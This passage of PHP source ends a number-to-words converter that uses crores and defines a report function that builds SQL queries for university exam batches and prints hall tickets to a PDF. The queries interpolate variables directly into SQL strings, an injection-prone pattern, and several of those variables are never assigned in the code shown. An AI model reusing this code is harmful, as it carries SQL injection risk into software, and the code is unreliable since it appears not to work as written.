$number < 1000000000: $crores = ((int) ($number / 10000000)); $remainder = $number % 10000000; $crores = convert_number_to_words($crores); $string = $crores . ' ' . $dictionary[10000000]; if ($remainder) { $string .= $separator . convert_number_to_words($remainder); } break; default: $baseUnit = pow(1000, floor(log($number, 1000))); $numBaseUnits = (int) ($number / $baseUnit); $remainder = $number % $baseUnit; try { $string = convert_number_to_words($numBaseUnits) . ' ' . $dictionary[$baseUnit]; }catch(Exception $e) { return "Value too large"; } if ($remainder) { $string .= $remainder < 100 ? $conjunction : $separator; $string .= convert_number_to_words($remainder); } break; } if (null !== $fraction && is_numeric($fraction)) { $string .= $decimal; $words = array(); foreach (str_split((string) $fraction) as $number) { $words[] = $dictionary[$number]; } $string .= implode(' ', $words); } return $string; } function SendOutput() { $this->pdf->Output("tdvsQpPatranTest.pdf", "I"); } } function tdvsQpPatranTest($aobj_context) { $aobj_context->pobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $univcode = $aobj_context->mobj_data["univcode"]; $tempcode = $aobj_context->mobj_data["tempcode"]; $class_obj = new MarksListReport(); $class_obj->DefaultConstructor($aobj_context); $class_obj->formcolldata(); if($fqpcode == 'all') { $query = "select distinct t.fbatchno from tdvs_tabsum t inner join tdvs_masqp mq on t.fqpcode = mq.fqpcode where mq.fboard = '{$fboard}' and mq.fdeggrp = '{$fdegreegrp}' and t.fvalno = '{$fvalno}' and t.fteachcode between '{$teachrngfrm}' and '{$teachrngto}' and ifnull(FSTATUS,'') = 'FINAL'"; }else{ $query = "select distinct t.fbatchno from tdvs_tabsum t inner join tdvs_masqp mq on t.fqpcode = mq.fqpcode where mq.fboard = '{$fboard}' and mq.fdeggrp = '{$fdegreegrp}' and t.fvalno = '{$fvalno}' and t.fqpcode = '{$fqpcode}' and t.fteachcode between '{$teachrngfrm}' and '{$teachrngto}' and ifnull(FSTATUS,'') = 'FINAL'"; } $result = $aobj_context->pobj_db->GetAll($query); foreach($result as $val) { $class_obj->WriteHallTicket($val['fbatchno']); } $class_obj->SendOutput(); }
Close